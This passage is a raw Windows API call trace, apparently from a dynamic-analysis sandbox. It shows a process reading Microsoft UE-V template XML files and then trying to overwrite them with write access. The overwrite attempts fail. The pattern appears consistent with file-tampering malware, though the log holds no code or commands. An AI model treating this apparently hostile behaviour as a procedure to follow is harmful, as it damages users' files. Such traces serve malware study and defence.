ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0148.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.472] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", lpFilePart=0x0) returned 0x52 [0148.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.473] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.475] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", lpFilePart=0x0) returned 0x52 [0148.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ee850 | out: lpFileInformation=0x37ee850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0148.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.475] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", lpFilePart=0x0) returned 0x52 [0148.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.475] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.477] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", lpFilePart=0x0) returned 0x4c [0148.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ef088 | out: lpFileInformation=0x37ef088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3)) returned 1 [0148.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.478] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", lpFilePart=0x0) returned 0x4c [0148.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.478] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.480] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", lpFilePart=0x0) returned 0x4c [0148.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.480] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ef898 | out: lpFileInformation=0x37ef898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6)) returned 1 [0148.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.480] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", lpFilePart=0x0) returned 0x4c [0148.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0148.480] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0148.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0148.482] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", lpFilePart=0x0) returned 0x4f [0148.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0148.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x37f00a8 | out: lpFileInformation=0x37f00a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506)) returned 1 [0148.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0148.483] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", lpFilePart=0x0) returned 0x4f [0148.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0148.483] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0148.483] GetFileType (hFile=0x808) returned 0x1 [0148.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0148.483] GetFileType (hFile=0x808) returned 0x1 [0148.483] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x506 [0148.483] ReadFile (in: hFile=0x808, lpBuffer=0x37f08b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x37f08b8*, lpNumberOfBytesRead=0x10fa4d8*=0x506, lpOverlapped=0x0) returned 1 [0148.483] CloseHandle (hObject=0x808) returned 1 [0150.139] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", lpFilePart=0x0) returned 0x4f [0150.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0150.139] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0150.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0150.141] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", lpFilePart=0x0) returned 0x4f [0150.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0150.141] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x3869b48 | out: lpFileInformation=0x3869b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506)) returned 1 [0150.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0150.141] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", lpFilePart=0x0) returned 0x4f [0150.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0150.141] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.142] GetFileType (hFile=0x644) returned 0x1 [0150.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0150.142] GetFileType (hFile=0x644) returned 0x1 [0150.142] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x506 [0150.142] ReadFile (in: hFile=0x644, lpBuffer=0x386a358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x386a358*, lpNumberOfBytesRead=0x10fa4d8*=0x506, lpOverlapped=0x0) returned 1 [0150.142] CloseHandle (hObject=0x644) returned 1 [0150.152] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", lpFilePart=0x0) returned 0x4f [0150.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0150.152] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0150.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0150.155] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", lpFilePart=0x0) returned 0x4f [0150.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0150.155] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x38e45d8 | out: lpFileInformation=0x38e45d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509)) returned 1 [0150.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0150.155] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", lpFilePart=0x0) returned 0x4f [0150.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0150.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.155] GetFileType (hFile=0x644) returned 0x1 [0150.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0150.155] GetFileType (hFile=0x644) returned 0x1 [0150.155] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x509 [0150.155] ReadFile (in: hFile=0x644, lpBuffer=0x38e4df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x38e4df0*, lpNumberOfBytesRead=0x10fa4d8*=0x509, lpOverlapped=0x0) returned 1 [0150.155] CloseHandle (hObject=0x644) returned 1 [0152.043] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", lpFilePart=0x0) returned 0x4f [0152.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.043] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0152.045] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", lpFilePart=0x0) returned 0x4f [0152.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0152.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x39a2570 | out: lpFileInformation=0x39a2570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509)) returned 1 [0152.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0152.045] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", lpFilePart=0x0) returned 0x4f [0152.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.045] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0152.046] GetFileType (hFile=0x7dc) returned 0x1 [0152.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0152.046] GetFileType (hFile=0x7dc) returned 0x1 [0152.046] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x509 [0152.046] ReadFile (in: hFile=0x7dc, lpBuffer=0x39a2d88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x39a2d88*, lpNumberOfBytesRead=0x10fa4d8*=0x509, lpOverlapped=0x0) returned 1 [0152.046] CloseHandle (hObject=0x7dc) returned 1 [0152.057] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", lpFilePart=0x0) returned 0x4f [0152.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.057] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0152.059] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", lpFilePart=0x0) returned 0x56 [0152.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0152.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a1bfd0 | out: lpFileInformation=0x3a1bfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b)) returned 1 [0152.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0152.059] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", lpFilePart=0x0) returned 0x56 [0152.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.059] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0152.060] GetFileType (hFile=0x7dc) returned 0x1 [0152.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa370) returned 1 [0152.060] GetFileType (hFile=0x7dc) returned 0x1 [0152.060] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0xb4b [0152.060] ReadFile (in: hFile=0x7dc, lpBuffer=0x3a1ce68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x3a1ce68*, lpNumberOfBytesRead=0x10fa4d8*=0xb4b, lpOverlapped=0x0) returned 1 [0152.060] CloseHandle (hObject=0x7dc) returned 1 [0152.482] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", lpFilePart=0x0) returned 0x56 [0152.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0152.482] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0152.719] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", lpFilePart=0x0) returned 0x56 [0152.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0152.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x37fc9a8 | out: lpFileInformation=0x37fc9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, 